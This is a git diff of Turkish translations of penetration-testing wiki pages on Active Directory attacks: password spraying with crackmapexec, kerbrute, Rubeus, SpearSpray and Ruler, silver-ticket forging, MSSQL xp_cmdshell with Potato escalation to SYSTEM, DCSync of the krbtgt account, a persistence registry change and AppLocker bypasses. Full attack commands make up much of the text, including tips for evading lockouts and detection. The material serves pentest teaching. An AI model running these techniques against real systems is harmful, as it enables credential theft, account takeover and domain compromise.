Kullanarak **crackmapexec:** +- **crackmapexec** kullanarak: ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` -- [**kerbrute**](https://github.com/ropnop/kerbrute) kullanarak (Go) +- [**kerbrute**](https://github.com/ropnop/kerbrute) kullanımı (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 @@ -51,12 +51,12 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ```bash spray.sh -smb ``` -- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) kullanımı (python) - TAVSİYE EDİLMEZ, BAZEN ÇALIŞMAZ +- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) kullanımı (python) - TAVSİYE EDİLMEZ - BAZEN ÇALIŞMAYABİLİR ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` -- Metasploit'in `scanner/smb/smb_login` modülü ile: +- **Metasploit**'in `scanner/smb/smb_login` modülü ile: ![](<../../images/image (745).png>) @@ -69,7 +69,7 @@ done ``` #### Windows'tan -- brute module içeren [Rubeus](https://github.com/Zer1t0/Rubeus) sürümü ile: +- Brute module içeren [Rubeus](https://github.com/Zer1t0/Rubeus) sürümü ile: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,20 +77,20 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- İle [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Varsayılan olarak etki alanından kullanıcılar oluşturabilir ve etki alanından parola politikasını alarak denemeleri buna göre sınırlar): +- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) ile (Varsayılan olarak domain'den kullanıcılar oluşturabilir ve parola politikasını domain'den alır ve deneme sayılarını buna göre sınırlar): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` -- İle [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) +- Kullanarak [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) ``` Invoke-SprayEmptyPassword ``` -### "Password must change at next logon" Hesaplarını Belirleme ve Ele Geçirme (SAMR) +### "Password must change at next logon" Hesaplarını Tespit Etme ve Ele Geçirme (SAMR) -Düşük-gürültülü bir teknik, benign/empty password ile spray yapıp STATUS_PASSWORD_MUST_CHANGE döndüren hesapları yakalamaktır; bu, parolanın zorla süresinin dolduğunu ve eski parolayı bilmeden değiştirilebileceğini gösterir. +Düşük gürültülü bir teknik, zararsız/boş bir password spray yapıp STATUS_PASSWORD_MUST_CHANGE döndüren hesapları yakalamaktır; bu, parolanın zorla geçersiz kılındığını ve eski parolayı bilmeden değiştirilebileceğini gösterir. İş akışı: -- Kullanıcıları enumerate edin (RID brute via SAMR) ve hedef listesini oluşturun: +- Kullanıcıları enumerate ederek (RID brute via SAMR) hedef listesini oluşturun: {{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -99,12 +99,12 @@ Düşük-gürültülü bir teknik, benign/empty password ile spray yapıp STATUS # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` -- Spray boş password kullan ve hitslerde devam et; next logon'da değiştirmek zorunda olan hesapları ele geçir: +- Spray boş bir password deneyin ve hits'lerde devam ederek next logon'da parola değiştirmek zorunda olan hesapları ele geçirin: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` -- Her hit için, NetExec’s modülü ile SAMR üzerinden parolayı değiştirin ("must change" ayarı etkin olduğunda eski parola gerekmez): +- Her başarılı eşleşme için, SAMR üzerinden NetExec’in modülüyle parolayı değiştirin ("must change" ayarlı olduğunda eski parola gerekmez): ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ @@ -114,8 +114,8 @@ netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" netexec smb -u -p "$NEWPASS" --pass-pol ``` Operasyonel notlar: -- Sunucu saatinizin Kerberos tabanlı işlemlerden önce DC ile senkronize olduğundan emin olun: `sudo ntpdate `. -- Bazı modüllerde (ör. RDP/WinRM), (Pwn3d!) olmayan bir [+] işareti, creds'in geçerli olduğunu ancak hesabın etkileşimli oturum açma haklarına sahip olmadığını gösterir. +- Kerberos tabanlı işlemlerden önce host saatinin DC ile senkronize olduğundan emin olun: `sudo ntpdate `. +- Bazı modüllerde (ör. RDP/WinRM) (Pwn3d!) olmayan bir [+], creds'in geçerli olduğunu ancak hesabın etkileşimli oturum açma haklarına sahip olmadığını gösterir. ## Brute Force ```bash @@ -123,15 +123,15 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password ``` ### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) -Kerberos pre-auth–based spraying, SMB/NTLM/LDAP bind denemelerine kıyasla gürültüyü azaltır ve AD hesap kilitleme politikalarıyla daha iyi uyum sağlar. SpearSpray, LDAP-driven targeting, pattern engine ve policy awareness (domain policy + PSOs + badPwdCount buffer) ile hassas ve güvenli şekilde spray yapar. Ayrıca Neo4j içinde ele geçirilmiş principal'ları BloodHound pathing için etiketleyebilir. +Kerberos pre-auth–based spraying, SMB/NTLM/LDAP bind attempts'e kıyasla gürültüyü azaltır ve AD lockout policies ile daha iyi uyum sağlar. SpearSpray, LDAP-driven targeting, bir pattern engine ve policy awareness (domain policy + PSOs + badPwdCount buffer) ile hassas ve güvenli bir şekilde spray yapar. Ayrıca ele geçirilmiş principal'ları BloodHound pathing için Neo4j'de etiketleyebilir. Key ideas: -- LDAP ile kullanıcı keşfi; paging ve LDAPS desteği ile, isteğe bağlı olarak custom LDAP filtreleri kullanılabilir. -- Domain lockout policy + PSO-aware filtering ile yapılandırılabilir bir deneme tamponu (threshold) bırakmak ve kullanıcıların kilitlenmesini önlemek. -- Kerberos pre-auth validation, hızlı gssapi bindings kullanılarak (DCs üzerinde 4625 yerine 4768/4771 oluşturur). -- Pattern-based, kullanıcı başına parola oluşturma; isimler ve her kullanıcının pwdLastSet'inden türetilen zamansal değerler gibi değişkenler kullanılır. -- Throughput kontrolü threads, jitter ve max requests per second ile sağlanır. -- Opsiyonel Neo4j entegrasyonu ile ele geçirilen kullanıcılar BloodHound için işaretlenebilir. +- LDAP kullanıcı keşfi (sayfalandırma ve LDAPS desteği), isteğe bağlı olarak özel LDAP filtreleri kullanılarak. +- Domain lockout policy + PSO-aware filtreleme ile yapılandırılabilir bir deneme tamponu (threshold) bırakılarak kullanıcıların kilitlenmesinin önlenmesi. +- Hızlı gssapi bindings kullanarak Kerberos pre-auth doğrulaması (DC'lerde 4625 yerine 4768/4771 oluşturur). +- Pattern-based, kullanıcı başına parola oluşturma; isimler ve her kullanıcının pwdLastSet'inden türetilen zaman değerleri gibi değişkenleri kullanır. +- İşlem hacmi kontrolü: iş parçacıkları (threads), jitter ve saniye başına maksimum istek ile. +- İsteğe bağlı Neo4j entegrasyonu ile ele geçirilmiş kullanıcıları BloodHound için işaretleme. Basic usage and discovery: ```bash @@ -153,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME ``` -Gizlilik ve güvenlik kontrolleri: +Gizlenme ve güvenlik kontrolleri: ```bash # Control concurrency, add jitter, and cap request rate spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 @@ -165,7 +165,7 @@ Neo4j/BloodHound zenginleştirme: ```bash spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 ``` -Pattern sistemi genel bakış (patterns.txt): +Desen sistemi genel bakışı (patterns.txt): ```text # Example templates consuming per-user attributes and temporal context {name}{separator}{year}{suffix} @@ -176,27 +176,27 @@ Pattern sistemi genel bakış (patterns.txt): ``` Kullanılabilir değişkenler şunlardır: - {name}, {samaccountname} -- Her kullanıcının pwdLastSet (veya whenCreated) alanından türetilen zamanla ilgili: {year}, {short_year}, {month_number}, {month_en}, {season_en} -- Kompozisyon yardımcıları ve organizasyon tokeni: {separator}, {suffix}, {extra} +- Her kullanıcının pwdLastSet (veya whenCreated) değerinden zamanla ilgili: {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Bileşim yardımcıları ve organizasyon tokeni: {separator}, {suffix}, {extra} Operasyonel notlar: -- En yetkili badPwdCount ve politika ile ilgili bilgileri okumak için PDC-emulator'a -dc ile sorgu yapmayı tercih edin. +- En yetkili badPwdCount ve politika ile ilgili bilgileri okumak için -dc ile PDC-emulator sorgulamayı tercih edin. - badPwdCount sıfırlamaları gözlem penceresinden sonraki bir sonraki denemede tetiklenir; güvende kalmak için eşik ve zamanlamayı kullanın. -- Kerberos pre-auth denemeleri DC telemetrisinde 4768/4771 olarak görünür; karışmak için jitter ve rate-limiting kullanın. +- Kerberos pre-auth denemeleri DC telemetrilerinde 4768/4771 olarak görünür; karışmak için jitter ve rate-limiting kullanın. > İpucu: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. ## Outlook Web Access -p**assword spraying outlook** için birden çok araç vardır. +p**assword spraying outlook** için birden fazla araç vardır. -- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- With [Ruler](https://github.com/sensepost/ruler) (güvenilir!) -- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) -- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) +- İle [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) +- İle [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) +- İle [Ruler](https://github.com/sensepost/ruler) (güvenilir!) +- İle [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) +- İle [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve spray yapmak için bir password / küçük bir password listesine ihtiyacınız var. +Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve bir parola ya da küçük bir parola listesine ihtiyacınız vardır. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -215,7 +215,7 @@ Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve spra - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) -## Referanslar +## Kaynaklar - [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) - [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index eb08248b2..032311df5 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,15 +6,15 @@ ## Silver ticket -**Silver Ticket** saldırısı, Active Directory (AD) ortamlarındaki service tickets'ın istismarıyla ilgilidir. Bu yöntem, bir computer account gibi bir service account'un **acquiring the NTLM hash of a service account** işlemini gerektirir; bu hash ile bir Ticket Granting Service (TGS) ticket'ı sahte olarak oluşturulur. Bu sahte ticket ile saldırgan, ağdaki belirli servislere erişebilir ve genellikle yönetici ayrıcalıklarını hedefleyerek **impersonating any user** yapabilir. Ticket oluştururken AES keys kullanmanın daha güvenli ve daha az tespit edilebilir olduğu vurgulanır. +The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable. > [!WARNING] > Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user. -> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service. +Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service. -For ticket crafting, different tools are employed based on the operating system: +Bilet oluşturma (ticket crafting) için, kullanılan araçlar işletim sistemine göre farklılık gösterir: -### Linux'ta +### Linux üzerinde ```bash python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache @@ -37,11 +37,11 @@ mimikatz.exe "kerberos::ptt " # Obtain a shell .\PsExec.exe -accepteula \\ cmd ``` -CIFS servisi, hedefin dosya sistemine erişmek için yaygın bir hedef olarak öne çıkar, ancak HOST ve RPCSS gibi diğer servisler de görevler ve WMI sorguları için sömürülebilir. +CIFS servisi, hedefin dosya sistemine erişim için yaygın bir hedef olarak vurgulanır; ancak HOST ve RPCSS gibi diğer servisler de görevler ve WMI sorguları için istismar edilebilir. -### Örnek: MSSQL servisi (MSSQLSvc) + Potato ile SYSTEM'e +### Örnek: MSSQL servisi (MSSQLSvc) + Potato to SYSTEM -Eğer bir SQL servis hesabının (ör. sqlsvc) NTLM hash'ine (veya AES anahtarına) sahipseniz, MSSQL SPN için bir TGS sahteleyebilir ve SQL servisine karşı herhangi bir kullanıcıyı taklit edebilirsiniz. Buradan xp_cmdshell'i etkinleştirip SQL servis hesabı olarak komut çalıştırabilirsiniz. Eğer o token SeImpersonatePrivilege'e sahipse, Potato kullanarak SYSTEM'e yükseltebilirsiniz. +If you have the NTLM hash (or AES key) of a SQL service account (e.g., sqlsvc) you can forge a TGS for the MSSQL SPN and impersonate any user to the SQL service. From there, enable xp_cmdshell to execute commands as the SQL service account. If that token has SeImpersonatePrivilege, chain a Potato to elevate to SYSTEM. ```bash # Forge a silver ticket for MSSQLSvc (RC4/NTLM example) python ticketer.py -nthash -domain-sid -domain \ @@ -52,14 +52,14 @@ export KRB5CCNAME=$PWD/administrator.ccache impacket-mssqlclient -k -no-pass /administrator@:1433 \ -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" ``` -- Eğer ortaya çıkan bağlamda SeImpersonatePrivilege varsa (genellikle hizmet hesapları için geçerlidir), SYSTEM elde etmek için bir Potato varyantı kullanın: +- Eğer ortaya çıkan bağlam SeImpersonatePrivilege'e sahipse (genellikle hizmet hesapları için geçerlidir), SYSTEM elde etmek için bir Potato varyantı kullanın: ```bash # On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato PrintSpoofer.exe -c "cmd /c whoami" # or GodPotato -cmd "cmd /c whoami" ``` -MSSQL'i kötüye kullanma ve xp_cmdshell'i etkinleştirme hakkında daha fazla detay: +MSSQL'in kötüye kullanılması ve xp_cmdshell'in etkinleştirilmesi hakkında daha fazla detay: {{#ref}} abusing-ad-mssql.md @@ -73,7 +73,7 @@ Potato tekniklerine genel bakış: ## Mevcut Servisler -| Servis Türü | Servis Silver Tickets | +| Servis Türü | Servis Silver Tickets | | ------------------------------------------ | -------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| | PowerShell Remoting |

HOST

HTTP

Depending on OS also:

WSMAN

RPCSS

| @@ -84,11 +84,11 @@ Potato tekniklerine genel bakış: | Windows Remote Server Administration Tools |

RPCSS

LDAP

CIFS

| | Golden Tickets | krbtgt | -Using **Rubeus** you may **ask for all** these tickets using the parameter: +Rubeus kullanarak bu ticket'ların tümünü şu parametre ile isteyebilirsiniz: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### Silver tickets Event IDs +### Silver tickets Olay ID'leri - 4624: Account Logon - 4634: Account Logoff @@ -96,30 +96,30 @@ Using **Rubeus** you may **ask for all** these tickets using the parameter: ## Kalıcılık -Makinelerin parolalarını her 30 günde bir değiştirmelerini önlemek için `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` olarak ayarlayabilirsiniz veya makinelerin parola döndürme süresini göstermek için `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` değerini 30days'den daha büyük bir değere ayarlayabilirsiniz. +Makinelerin parolalarını her 30 günde bir döndürmesini engellemek için `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` olarak ayarlayabilir ya da makinelerin parolasının ne zaman döndürüleceğini göstermek için `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` değerini 30 günden daha büyük bir değere ayarlayabilirsiniz. -## Servis ticket'larının kötüye kullanımı +## Service ticket'larının kötüye kullanımı -Aşağıdaki örneklerde ticket'ın administrator hesabı taklidi yapılarak elde edildiğini varsayalım. +Aşağıdaki örneklerde ticket'in yönetici hesabını taklit ederek elde edildiğini varsayalım. ### CIFS -Bu ticket ile `C$` ve `ADMIN$` klasörlerine **SMB** üzerinden (eğer açığa çıkmışlarsa) erişebilir ve uzak dosya sistemine dosya kopyalayabilirsiniz, örneğin: +Bu ticket ile `C$` ve `ADMIN$` klasörlerine **SMB** üzerinden (eğer erişilebilirlerse) erişebilir ve uzak dosya sisteminin bir bölümüne dosya kopyalamak için şu şekilde işlem yapabilirsiniz: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -Ayrıca konakta bir shell elde edebilir veya **psexec** kullanarak istediğiniz komutları çalıştırabilirsiniz: +Ayrıca host içinde bir shell elde edebilir veya **psexec** kullanarak herhangi bir komutu çalıştırabilirsiniz: {{#ref}} ../lateral-movement/psexec-and-winexec.md {{#endref}} -### KONAK +### HOST -Bu izinle uzak bilgisayarlarda zamanlanmış görevler oluşturabilir ve istediğiniz komutları çalıştırabilirsiniz: +Bu izinle uzak bilgisayarlarda zamanlanmış görevler oluşturabilir ve herhangi bir komutu çalıştırabilirsiniz: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc @@ -133,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS -Bu biletlerle hedef sistemde **WMI çalıştırabilirsiniz**: +Bu tickets ile hedef sistemde **WMI çalıştırabilirsiniz**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -143,7 +143,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` -Aşağıdaki sayfada **wmiexec hakkında daha fazla bilgi** bulun: +wmiexec hakkında **daha fazla bilgi** için aşağıdaki sayfaya bakın: {{#ref}} @@ -152,11 +152,11 @@ Aşağıdaki sayfada **wmiexec hakkında daha fazla bilgi** bulun: ### HOST + WSMAN (WINRM) -Winrm erişimi ile bir bilgisayara **erişebilirsiniz** ve hatta PowerShell elde edebilirsiniz: +Bir bilgisayarda winrm erişiminiz olduğunda ona **erişebilir** ve hatta PowerShell alabilirsiniz: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -Uzak hosta winrm kullanarak bağlanmanın **daha fazla yolunu** öğrenmek için aşağıdaki sayfayı inceleyin: +Uzak bir hosta bağlanmanın **winrm kullanarak daha fazla yolunu** öğrenmek için aşağıdaki sayfaya bakın: {{#ref}} @@ -164,7 +164,7 @@ Uzak hosta winrm kullanarak bağlanmanın **daha fazla yolunu** öğrenmek için {{#endref}} > [!WARNING] -> Erişim için **winrm'in uzak bilgisayarda aktif ve dinliyor olması** gerektiğini unutmayın. +> Uzak bilgisayara erişim için **winrm'in etkin ve dinliyor olması gerektiğini** unutmayın. ### LDAP @@ -172,7 +172,7 @@ Bu ayrıcalıkla **DCSync** kullanarak DC veritabanını dökebilirsiniz: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` -**DCSync hakkında daha fazla bilgi edinin** aşağıdaki sayfada: +**DCSync hakkında daha fazla bilgi edinin** için aşağıdaki sayfaya bakın: {{#ref}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index 545fd618e..e0419edec 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -4,14 +4,15 @@ ## AppLocker Politikası -Uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya yürütülebilir dosyaların listesidir. Amaç, ortamı zararlı malware ve kuruluşun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır. +Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalışmasına izin verilen onaylanmış yazılım uygulamaları veya çalıştırılabilir dosyaların listesidir. Amaç, ortamı zararlı malware ve kuruluşun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümü** olup sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği** üzerinde kontrol sağlar. Yürütülebilir dosyalar, scripts, Windows kurulum dosyaları, DLLs, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri üzerinde **ayrıntılı kontrol** sağlar.\ -Kuruluşlarda genellikle belirli dizinlere yazma erişimini kısıtlamak ve **cmd.exe and PowerShell.exe** engellemeleri yaygındır, **ancak bunların tamamı atlatılabilir**. +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği** üzerinde kontrol sağlar.\ +Çalıştırılabilir dosyalar, scriptler, Windows installer dosyaları, DLL'ler, paketlenmiş uygulamalar ve paket uygulama yükleyicileri üzerinde **ayrıntılı kontrol** sağlar.\ +Kuruluşların **cmd.exe ve PowerShell.exe**'i engellemesi ve belirli dizinlere yazma erişimini kısıtlaması yaygındır, **ancak bunların tamamı atlatılabilir**. ### Kontrol -Hangi dosyaların/uzantıların kara listeye/beyaz listeye alındığını kontrol edin: +Hangi dosyaların/uzantıların kara listeye veya beyaz listeye alındığını kontrol edin: ```bash Get-ApplockerPolicy -Effective -xml @@ -20,39 +21,39 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve politikaları içerir; sistemde uygulanan mevcut kurallar kümesini gözden geçirmek için bir yol sağlar: +Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve politikaları içerir; sistemde uygulanan mevcut kural setini incelemek için bir yol sağlar: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` ### Bypass -- AppLocker Policy'yi bypass etmek için kullanışlı **yazılabilir klasörler**: Eğer AppLocker `C:\Windows\System32` veya `C:\Windows` içindeki herhangi bir şeyin çalıştırılmasına izin veriyorsa, bunu bypass etmek için kullanabileceğiniz **yazılabilir klasörler** vardır. +- AppLocker Policy'yi bypass etmek için kullanışlı **Writable folders**: Eğer AppLocker `C:\Windows\System32` veya `C:\Windows` içinde herhangi bir şeyin çalıştırılmasına izin veriyorsa, bunu **bypass** etmek için kullanabileceğiniz **writable folders** vardır. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- Yaygın olarak **güvenilen** [**"LOLBAS's"**](https://lolbas-project.github.io/) ikili dosyalar AppLocker'ı atlatmak için de faydalı olabilir. -- **Zayıf yazılmış kurallar da atlatılabilir** -- Örneğin, **``**, her yere **`allowed` adlı bir klasör** oluşturabilirsiniz ve bu klasör izinli olacaktır. -- Kuruluşlar genellikle **`%System32%\WindowsPowerShell\v1.0\powershell.exe` yürütülebilir dosyasını engellemeye** odaklanır, ancak `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` veya `PowerShell_ISE.exe` gibi **diğer** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) konumlarını unuturlar. -- Sistem üzerinde ek yük getirebileceği ve hiçbir şeyin bozulmayacağından emin olmak için gereken test miktarı nedeniyle **DLL enforcement çok nadiren etkinleştirilir**. Bu yüzden **DLL'leri arka kapı olarak kullanmak AppLocker'ı atlatmaya yardımcı olur**. -- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanarak herhangi bir süreçte **Powershell** kodu **execute** edebilir ve AppLocker'ı atlayabilirsiniz. Daha fazla bilgi için bakınız: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +- Genellikle **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) ikili dosyalar AppLocker'ı atlatmak için de faydalı olabilir. +- **Kötü yazılmış kurallar da atlatılabilir** +- Örneğin, **``**, her yerde **`allowed` adında bir klasör** oluşturabilirsiniz ve izin verilecektir. +- Organizasyonlar genellikle **`%System32%\WindowsPowerShell\v1.0\powershell.exe` yürütülebilir dosyasını engellemeye** odaklanır, ancak **diğer** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) gibi `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` veya `PowerShell_ISE.exe` gibi yerleri unuturlar. +- **DLL enforcement çok nadiren etkinleştirilir** çünkü sisteme ek yük getirebilir ve hiçbir şeyin bozulmayacağından emin olmak için gereken test miktarı fazladır. Bu yüzden **DLL'leri backdoors olarak kullanmak AppLocker'ı atlatmaya yardımcı olur**. +- ReflectivePick veya SharpPick kullanarak herhangi bir süreçte **Powershell** kodu çalıştırabilir ve AppLocker'ı atlatabilirsiniz. Daha fazla bilgi için bakın: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). -## Credentials Storage +## Kimlik Bilgileri Depolama ### Security Accounts Manager (SAM) -Yerel kimlik bilgileri bu dosyada bulunur; parolalar hashlenmiştir. +Yerel kimlik bilgileri bu dosyada bulunur, parolalar hashlenmiştir. ### Local Security Authority (LSA) - LSASS -The **credentials** (hashed) are **saved** in the **memory** of this subsystem for Single Sign-On reasons.\ -**LSA** administrates the local **security policy** (password policy, users permissions...), **authentication**, **access tokens**...\ -LSA will be the one that will **check** for provided credentials inside the **SAM** file (for a local login) and **talk** with the **domain controller** to authenticate a domain user. +Kimlik bilgileri (hashlenmiş) Single Sign-On nedenleriyle bu alt sistemin **belleğinde** saklanır.\ +**LSA** yerel **güvenlik politikasını** (parola politikası, kullanıcı izinleri...), **authentication**, **access tokens**... yönetir.\ +LSA, sağlanan kimlik bilgilerini yerel giriş için **SAM** dosyası içinde **kontrol edecek** ve bir domain kullanıcısını doğrulamak için **domain controller** ile **iletişime geçecektir**. -The **credentials** are **saved** inside the **process LSASS**: Kerberos tickets, hashes NT and LM, easily decrypted passwords. +Kimlik bilgileri **LSASS** sürecinin içinde saklanır: Kerberos ticket'ları, NT ve LM hash'leri, kolayca çözülebilen parolalar. ### LSA secrets @@ -61,19 +62,19 @@ LSA bazı kimlik bilgilerini diske kaydedebilir: - Active Directory bilgisayar hesabının parolası (ulaşılamayan domain controller). - Windows servis hesaplarının parolaları - Zamanlanmış görevler için parolalar -- Diğerleri (IIS uygulamalarının parolası...) +- Diğer (IIS uygulamalarının parolası...) ### NTDS.dit -Active Directory'nin veritabanıdır. Yalnızca Domain Controllers üzerinde bulunur. +Active Directory'nin veritabanıdır. Sadece Domain Controller'larda bulunur. ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) Windows 10 ve Windows 11'de ve Windows Server sürümlerinde bulunan bir antivirüstür. **WinPEAS** gibi yaygın pentesting araçlarını **engeller**. Ancak, bu korumaları **atlatmanın** yolları vardır. +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) Windows 10 ve Windows 11'de ve Windows Server 